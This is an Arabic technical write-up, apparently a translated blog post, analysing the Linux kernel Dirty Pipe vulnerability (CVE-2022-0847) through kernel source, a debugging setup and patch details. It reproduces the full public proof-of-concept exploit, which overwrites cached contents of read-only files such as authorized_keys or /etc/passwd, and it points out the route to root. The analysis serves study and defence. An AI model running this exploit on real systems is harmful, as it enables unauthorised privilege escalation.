
CVE-2022-0847 POC و Docker وتحليل تقرير
[toc]
نُشرت هذه المقالة في الأصل في حساب الأمن العام لشركة Huawei، وهذه هي نسخة المدونة (الأكثر اكتمالاً)
رابط النشر الأصلي: https://mp.weixin.qq.com/s/6VhWBOzJ7uu80nzFxe5jpg
رقم الثغرة: CVE-2022-0847 (الاسم المستعار: Dirty Pipe)
المنتج المتأثر: linux kernel - splice syscall
الإصدارات المتأثرة: تم إدخاله في linux 5.8 بواسطة التصحيح f6dd975583bd ~ تم إصلاحه في 5.16.11 و 5.15.25 و 5.10.102
خطورة الثغرة: يمكن كتابة محتوى لا يتجاوز صفحة واحدة (كافٍ) لأي ملف قابل للقراءة، مما يسمح برفع الصلاحيات محليًا.
Docker لتحليل الثغرة: chenaotian/cve-2022-0847 (إذا لم يكن متاحًا بعد، فأنا لم أقم برفعه بعد)
يوفر:
بدء التشغيل:
cd ~/cve-2022-0847
gcc exp.c -o exp --static && cp exp ./rootfs && cd rootfs
find . | cpio -o --format=newc > ../rootfs.img
cd ../
./boot.sh
التصحيح:
gdb ./vmlinux
target remote :10086
directory /root/linux-5.13
b do_splice
b copy_page_to_iter_pipe
b pipe_write
ignore 3 15
...
p *(struct pipe_inode_info *) pipe
p (struct pipe_buffer)pipe->bufs[0]
المبدأ المختصر للثغرة هو أن استدعاء دالة
spliceيمكنه إرسال ملف إلىpipeبطريقة "النسخ الصفري" (zero-copy). على مستوى الكود، النسخ الصفري يعني استخدام ذاكرة التخزين المؤقت للملف (page cache) مباشرة كصفحةbufفي الـpipe. لكن تم إدخال ثغرة عدم تهيئة متغير هنا، مما يؤدي إلى إمكانية التعامل مع صفحة ذاكرة التخزين المؤقت للملف لاحقًا في قناة الـpipeعلى أنها صفحة ذاكرة تخزين مؤقت عادية للـpipe، وبالتالي يمكن تعديلها عن طريق "الكتابة المتتابعة" (续写). ومع ذلك، في هذه الحالة، لا تعتبر النواة صفحة ذاكرة التخزين المؤقت هذه "صفحة متسخة" (dirty page)، وبالتالي لا يتم تحديثها إلى القرص لفترة قصيرة (حتى إعادة التشغيل التالية أو ما شابه). خلال هذه الفترة، ستستخدم جميع السيناريوهات التي تصل إلى هذا الملف صفحة ذاكرة التخزين المؤقت المعدلة، مما يحقق عملية "كتابة عشوائية في أي ملف قابل للقراءة لفترة قصيرة". يمكن استخدام هذا لرفع الصلاحيات محليًا.
وفقًا للتصحيح، تقع نقطة حدوث الثغرة في دالة copy_page_to_iter_pipe، حيث تمت إضافة تهيئة لـ buf->flags. لذا فهذه ثغرة عدم تهيئة متغير.

تظهر نقطة استدعاء copy_page_to_iter_pipe في استدعاء النظام splice. تقوم دالة splice (استدعاء النظام) بنقل محتويات الملف إلى الأنبوب (pipe) بطريقة "النسخ الصفري". مقارنةً بنقل محتويات الملف مباشرةً إلى الأنبوب، فإن الأداء أفضل. سيتم شرح ذلك بالتفصيل أدناه.
أولاً، الاسم المستعار للثغرة هو Dirty Pipe، لذا دعنا نفهم الأنبوب (pipe). pipe هي قناة اتصال توفرها النواة، يتم إنشاؤها بواسطة دالة pipe/pipe2، وتعيد اثنين من واصفات الملفات: أحدهما لإرسال البيانات والآخر لاستقبالها، مثل طرفي الأنبوب. لن ندخل في التفاصيل الدقيقة للاستخدام.

باختصار، في النواة، يبلغ الطول الإجمالي لذاكرة التخزين المؤقت للـ pipe عادةً 65536 بايت، وتُدار على شكل صفحات، بإجمالي 16 صفحة (كل صفحة 4096 بايت). الصفحات ليست متجاورة، بل تُدار عبر مصفوفة، لتشكل قائمة دائرية. يتم الحفاظ على مؤشرين للقائمة: واحد للكتابة (pipe->head) وآخر للقراءة (pipe->tail). سنحلل هنا بشكل أساسي دالة pipe_write:
linux-5.13\fs\pipe.c : 400 : pipe_write
static ssize_t
pipe_write(struct kiocb *iocb, struct iov_iter *from)
{
struct file *filp = iocb->ki_filp;
struct pipe_inode_info *pipe = filp->private_data;
unsigned int head;
ssize_t ret = 0;
size_t total_len = iov_iter_count(from);
ssize_t chars;
bool was_empty = false;
bool wake_next_writer = false;
··· ···
··· ···
head = pipe->head;
was_empty = pipe_empty(head, pipe->tail);
chars = total_len & (PAGE_SIZE-1);
if (chars && !was_empty) {
//[1] إذا لم تكن ذاكرة التخزين المؤقت للـ pipe فارغة، فحاول الكتابة "بشكل متتابع" من الصفحة الحالية الأخيرة
unsigned int mask = pipe->ring_size - 1;
struct pipe_buffer *buf = &pipe->bufs[(head - 1) & mask];
int offset = buf->offset + buf->len;
if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&
offset + chars <= PAGE_SIZE) {
/*[2] المفتاح: إذا كانت علامة PIPE_BUF_FLAG_CAN_MERGE موجودة، فهذا يعني أن الصفحة تسمح بالكتابة المتتابعة.
* إذا كان طول الكتابة لا يتجاوز الصفحة، فاكتب بشكل متتابع؛ وإلا فابدأ صفحة جديدة. */
ret = pipe_buf_confirm(pipe, buf);
···
ret = copy_page_from_iter(buf->page, offset, chars, from);
···
}
buf->len += ret;
···
}
}
for (;;) {//[3] إذا تعذرت الكتابة المتتابعة على الصفحة السابقة، فابدأ صفحة جديدة
··· ···
head = pipe->head;
if (!pipe_full(head, pipe->tail, pipe->max_usage)) {
unsigned int mask = pipe->ring_size - 1;
struct pipe_buffer *buf = &pipe->bufs[head & mask];
struct page *page = pipe->tmp_page;
int copied;
if (!page) {//[4] طلب صفحة جديدة
page = alloc_page(GFP_HIGHUSER | __GFP_ACCOUNT);
if (unlikely(!page)) {
ret = ret ? : -ENOMEM;
break;
}
pipe->tmp_page = page;
}
spin_lock_irq(&pipe->rd_wait.lock);
head = pipe->head;
··· ···
pipe->head = head + 1;
spin_unlock_irq(&pipe->rd_wait.lock);
/* Insert it into the buffer array */
buf = &pipe->bufs[head & mask];
buf->page = page;//[5] وضع الصفحة الجديدة في مصفوفة الصفحات
buf->ops = &anon_pipe_buf_ops;
buf->offset = 0;
buf->len = 0;
if (is_packetized(filp))
buf->flags = PIPE_BUF_FLAG_PACKET;
else
buf->flags = PIPE_BUF_FLAG_CAN_MERGE;
//[6] تعيين العلم، افتراضيًا PIPE_BUF_FLAG_CAN_MERGE
pipe->tmp_page = NULL;
copied = copy_page_from_iter(page, 0, PAGE_SIZE, from);
//[7] عملية النسخ
··· ···
ret += copied;
buf->offset = 0;
buf->len = copied;
··· ···
}
··· ···
}
··· ···
return ret;
}
pipe الحالية فارغة (تكون فارغة عندما head==tail)، فهذا يعني وجود بيانات غير مقروءة في القناة. يتم الحصول على المؤشر head، أي الصفحة الأحدث المستخدمة للكتابة، والتحقق من len و offset لتلك الصفحة (للعثور على نهاية البيانات). ثم محاولة الكتابة بشكل متتابع على الصفحة الحالية.PIPE_BUF_FLAG_CAN_MERGE، إذا لم تكن موجودة، فلا يُسمح بالكتابة المتتابعة على الصفحة الحالية. أو إذا تجاوز طول البيانات المضافة إلى البيانات السابقة طول الصفحة الواحدة (أي عملية كتابة تتجاوز حدود الصفحة)، فلا يمكن الكتابة بشكل متتابع.alloc_page تطلب صفحة جديدة.buf->flag يتم تهيئتها افتراضيًا إلى PIPE_BUF_FLAG_CAN_MERGE، لأن الحالة الافتراضية تسمح بالكتابة المتتابعة على الصفحة.مفتاح استغلال الثغرة هو علامة PIPE_BUF_FLAG_CAN_MERGE غير المهيأة في splice، والتي تحدد ما إذا كان يمكننا الكتابة بشكل متتابع على صفحة pipe "غير المكتملة".
كما ذكر أعلاه، يدير pipe 16 صفحة كذاكرة تخزين مؤقت. طريقة النسخ الصفري في splice هي استبدال صفحة ذاكرة التخزين المؤقت للـ pipe بصفحة ذاكرة التخزين المؤقت للملف مباشرةً (تغيير مؤشر صفحة ذاكرة التخزين المؤقت للـ pipe للإشارة إلى صفحة ذاكرة التخزين المؤقت للملف).

مكدس استدعاءات استدعاء النظام splice إلى دالة الثغرة copy_page_to_iter_pipe عميق جدًا، ولن نحلله بالتفصيل. مكدس الاستدعاءات كالتالي:
SYSCALL_DEFINE6(splice,...) -> __do_sys_splice -> __do_splice-> do_splice
splice_file_to_pipe -> do_splice_to
generic_file_splice_read(in->f_op->splice_read الافتراضي هو generic_file_splice_read)
call_read_iter -> filemap_read
copy_page_to_iter -> copy_page_to_iter_pipeالدالة copy_page_to_iter_pipe التي تحتوي على الثغرة تقوم أساسًا بتوجيه بنية صفحة ذاكرة التخزين المؤقت للـ pipe إلى صفحة ذاكرة التخزين المؤقت للملف المراد نقله:
linux-5.13\lib\iov_iter.c : 417 : copy_page_to_iter_pipe
static size_t copy_page_to_iter_pipe(struct page *page, size_t offset, size_t bytes,
struct iov_iter *i)
{
struct pipe_inode_info *pipe = i->pipe;
struct pipe_buffer *buf;
unsigned int p_tail = pipe->tail;
unsigned int p_mask = pipe->ring_size - 1;
unsigned int i_head = i->head;
size_t off;
··· ···
off = i->iov_offset;
buf = &pipe->bufs[i_head & p_mask];//[1] الحصول على صفحة ذاكرة التخزين المؤقت المقابلة للـ pipe
··· ···
buf->ops = &page_cache_pipe_buf_ops;//[2] تعديل معلومات صفحة ذاكرة التخزين المؤقت للـ pipe لتشير إلى صفحة ذاكرة التخزين المؤقت للملف
get_page(page);
buf->page = page;//[2] مؤشر الصفحة يشير الآن إلى صفحة ذاكرة التخزين المؤقت للملف
buf->offset = offset;//[2] تعيين offset و len إلى المعلومات الحالية (تحددها معاملات splice)
buf->len = bytes;
pipe->head = i_head + 1;
i->iov_offset = offset + bytes;
i->head = i_head;
out:
i->count -= bytes;
return bytes;
}
pipe، يتم العثور على موقع مؤشر الكتابة الحالي (pipe->head).len التي تحددها معاملات استدعاء النظام splice. لم يتم هنا تهيئة flag، مما يسبب الثغرة.بعد التهيئة، تبدو pipe->bufs هكذا:

الآن، بناءً على كود pipe_write الذي حللناه أعلاه، إذا تم استدعاء pipe_write مرة أخرى لكتابة بيانات إلى الـ pipe، فإن مؤشر الكتابة (pipe->head) يشير إلى الصفحة في الشكل أعلاه. إذا كانت flag تساوي PIPE_BUF_FLAG_CAN_MERGE، فسيتم اعتبار أنه يمكن متابعة الكتابة على هذه الصفحة، طالما أن طول الكتابة لا يتجاوز الصفحة:
#define PIPE_BUF_FLAG_CAN_MERGE 0x10 /* can merge buffers */
if (chars && !was_empty) {
//[1] إذا لم تكن ذاكرة التخزين المؤقت للـ pipe فارغة، فحاول الكتابة "بشكل متتابع" من الصفحة الحالية الأخيرة
unsigned int mask = pipe->ring_size - 1;
struct pipe_buffer *buf = &pipe->bufs[(head - 1) & mask];
int offset = buf->offset + buf->len;
if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&
offset + chars <= PAGE_SIZE) {
/*[2] المفتاح: إذا كانت علامة PIPE_BUF_FLAG_CAN_MERGE موجودة، فهذا يعني أن الصفحة تسمح بالكتابة المتتابعة.
* إذا كان طول الكتابة لا يتجاوز الصفحة، فاكتب بشكل متتابع؛ وإلا فابدأ صفحة جديدة. */
ret = pipe_buf_confirm(pipe, buf);
···
ret = copy_page_from_iter(buf->page, offset, chars, from);
تضع لينكس الملفات المفتوحة في صفحات ذاكرة تخزين مؤقت (page cache). يتم الاحتفاظ بالصفحات المخزنة مؤقتًا بعد استخدامها لتجنب عمليات الإدخال/الإخراج غير الضرورية. في فترة قصيرة، سيؤدي الوصول إلى نفس الملف إلى التعامل مع نفس صفحات ذاكرة التخزين المؤقت للملف، بدلاً من فتحه مرارًا وتكرارًا. من خلال تعديل صفحة ذاكرة التخزين المؤقت للملف بهذه الطريقة، فإن عمليات الوصول (القراءة) إلى هذا الملف في فترة قصيرة ستقرأ صفحة ذاكرة التخزين المؤقت المعدلة، مما يكمل الاستغلال.
تم وصفه أعلاه بالفعل، عملية استغلال الثغرة بسيطة جدًا، فقط افهم مبدأ الثغرة لاستخدامها. وفقًا لوصف المؤلف، تنقسم العملية تقريبًا إلى الخطوات التالية:
pipe_write)، بحيث يتم تهيئة كل buf (صفحات ذاكرة التخزين المؤقت للـ pipe) ويكون العلم flag مهيأ افتراضيًا إلى PIPE_BUF_FLAG_CAN_MERGEpipe_read)، بحيث عند استخدام استدعاء النظام splice لنقل الملف، سيتم استخدام بنية buf المهيأة مسبقًا.splice لنقل الملف الذي نريد تعديله إلى الأنبوب.pipe_write)، حيث سيتم عندها الكتابة فوق صفحة ذاكرة التخزين المؤقت للملف، مما يكمل التعديل المؤقت للملف.بعد انتهاء الخطوة الثانية، بعد ملء الأنبوب وإفراغه، يمكن رؤية أن بنية bufs تحتوي على البيانات التي سيتم إعادة استخدامها للقيم غير المهيأة لاحقًا:
p *(struct pipe_inode_info *) pipe
p (struct pipe_buffer)pipe->bufs[0]

بعد تنفيذ splice ونقل الملف، يصبح الشكل كما يلي، حيث flag غير مهيأ، ويجب تعيين len هنا صغيرًا قدر الإمكان، لأنه كلما كان أصغر، زاد الطول الذي يمكننا كتابته لاحقًا أثناء "الكتابة المتتابعة". تم تعيينه هنا إلى 1، والإزاحة (offset) هي عنوان البدء الذي نريد تعديله. هنا سيشير pipe->bufs->page إلى عنوان البدء:
splice(fd, &offset, p[1], NULL, 1, 0);

عند تنفيذ pipe_write مرة أخرى، يتم استيفاء شرط الكتابة المتتابعة، ويتم الكتابة مباشرة على الصفحة:

ليس من كتابتي، إنه من الإفصاح عن الثغرة:
/* SPDX-License-Identifier: GPL-2.0 */
/*
* Copyright 2022 CM4all GmbH / IONOS SE
*
* author: Max Kellermann <[email protected]>
*
* Proof-of-concept exploit for the Dirty Pipe
* vulnerability (CVE-2022-0847) caused by an uninitialized
* "pipe_buffer.flags" variable. It demonstrates how to overwrite any
* file contents in the page cache, even if the file is not permitted
* to be written, immutable or on a read-only mount.
*
* This exploit requires Linux 5.8 or later; the code path was made
* reachable by commit f6dd975583bd ("pipe: merge
* anon_pipe_buf*_ops"). The commit did not introduce the bug, it was
* there before, it just provided an easy way to exploit it.
*
* There are two major limitations of this exploit: the offset cannot
* be on a page boundary (it needs to write one byte before the offset
* to add a reference to this page to the pipe), and the write cannot
* cross a page boundary.
*
* Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
*
* Further explanation: https://dirtypipe.cm4all.com/
*/
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif
/**
* Create a pipe where all "bufs" on the pipe_inode_info ring have the
* PIPE_BUF_FLAG_CAN_MERGE flag set.
*/
static void prepare_pipe(int p[2])
{
if (pipe(p)) abort();
const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
static char buffer[4096];
/* fill the pipe completely; each pipe_buffer will now have
the PIPE_BUF_FLAG_CAN_MERGE flag */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
write(p[1], buffer, n);
r -= n;
}
/* drain the pipe, freeing all pipe_buffer instances (but
leaving the flags initialized) */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
read(p[0], buffer, n);
r -= n;
}
/* the pipe is now empty, and if somebody adds a new
pipe_buffer without initializing its "flags", the buffer
will be mergeable */
}
int main(int argc, char **argv)
{
if (argc != 4) {
fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]);
return EXIT_FAILURE;
}
/* dumb command-line argument parser */
const char *const path = argv[1];
loff_t offset = strtoul(argv[2], NULL, 0);
const char *const data = argv[3];
const size_t data_size = strlen(data);
if (offset % PAGE_SIZE == 0) {
fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
return EXIT_FAILURE;
}
const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
const loff_t end_offset = offset + (loff_t)data_size;
if (end_offset > next_page) {
fprintf(stderr, "Sorry, cannot write across a page boundary\n");
return EXIT_FAILURE;
}
/* open the input file and validate the specified offset */
const int fd = open(path, O_RDONLY); // yes, read-only! :-)
if (fd < 0) {
perror("open failed");
return EXIT_FAILURE;
}
struct stat st;
if (fstat(fd, &st)) {
perror("stat failed");
return EXIT_FAILURE;
}
if (offset > st.st_size) {
fprintf(stderr, "Offset is not inside the file\n");
return EXIT_FAILURE;
}
if (end_offset > st.st_size) {
fprintf(stderr, "Sorry, cannot enlarge the file\n");
return EXIT_FAILURE;
}
/* create the pipe with all flags initialized with
PIPE_BUF_FLAG_CAN_MERGE */
int p[2];
prepare_pipe(p);
/* splice one byte from before the specified offset into the
pipe; this will add a reference to the page cache, but
since copy_page_to_iter_pipe() does not initialize the
"flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
--offset;
ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
if (nbytes < 0) {
perror("splice failed");
return EXIT_FAILURE;
}
if (nbytes == 0) {
fprintf(stderr, "short splice\n");
return EXIT_FAILURE;
}
/* the following write will not create a new pipe_buffer, but
will instead write into the page cache, because of the
PIPE_BUF_FLAG_CAN_MERGE flag */
nbytes = write(p[1], data, data_size);
if (nbytes < 0) {
perror("write failed");
return EXIT_FAILURE;
}
if ((size_t)nbytes < data_size) {
fprintf(stderr, "short write\n");
return EXIT_FAILURE;
}
printf("It worked!\n");
return EXIT_SUCCESS;
}
نجاح رفع الصلاحيات:
gcc exp.c -o exp --static
./exp file offset string

هذا يوضح تأثير الكتابة التعسفية على الملف. يمكن استخدامه عمليًا لتعديل /etc/passwd أو مفاتيح SSH أو بعض ملفات suid لتحقيق رفع الصلاحيات الفعلي. لن نقوم بذلك عمليًا هنا (لست منفذًا للاختراقات على أي حال).
نظرًا لأنها ثغرة في النواة، لا يوجد حل جيد مؤقتًا. يُنصح بترقية النواة إلى الإصدار المُصلح: 5.16.11, 5.15.25, 5.10.102 أو أحدث.
بناءً على الـ POC الذي نشره مُفصح الثغرة، قمت بكتابة أداة تحقق بسيطة. إذا كانت الثغرة موجودة، يظهر "There is CVE-2022-0847":

إذا لم تكن موجودة، يظهر "You are safe!".
الإفصاح عن الثغرة: https://dirtypipe.cm4all.com/
ظهور العلم PIPE_BUF_FLAG_CAN_MERGE في الكود 5 مرات فقط: مرة واحدة في تعريف #define، ومرتين في pipe_write. والمتبقي مرتين في splice:

وفقًا للكود الذي يشارك فيه هذا المتغير، فإن معناه هو ما إذا كان مسموحًا بالكتابة المتتابعة على أحدث صفحة ذاكرة تخزين مؤقت للـ pipe. عادةً، الصفحات التي يطلبها الـ pipe نفسه هي صفحات عادية، والكتابة المتتابعة عليها أمر طبيعي. متى لا يُسمح بالكتابة المتتابعة؟ عندما لا تكون هذه الصفحة من الصفحات التي طلبها الـ pipe نفسه، فلا يمكن تعديلها عشوائيًا. بناءً على الوضع الحالي، تقريبًا فقط في splice تظهر صفحات ليست من صفحات الـ pipe الخاصة. بمعنى آخر، العلم PIPE_BUF_FLAG_CAN_MERGE مصمم خصيصًا لـ splice. ثم تقول إنه لم يتم تهيئته؟
لذا أشتبه في أن هذه الثغرة ليست بسبب الإهمال على الإطلاق...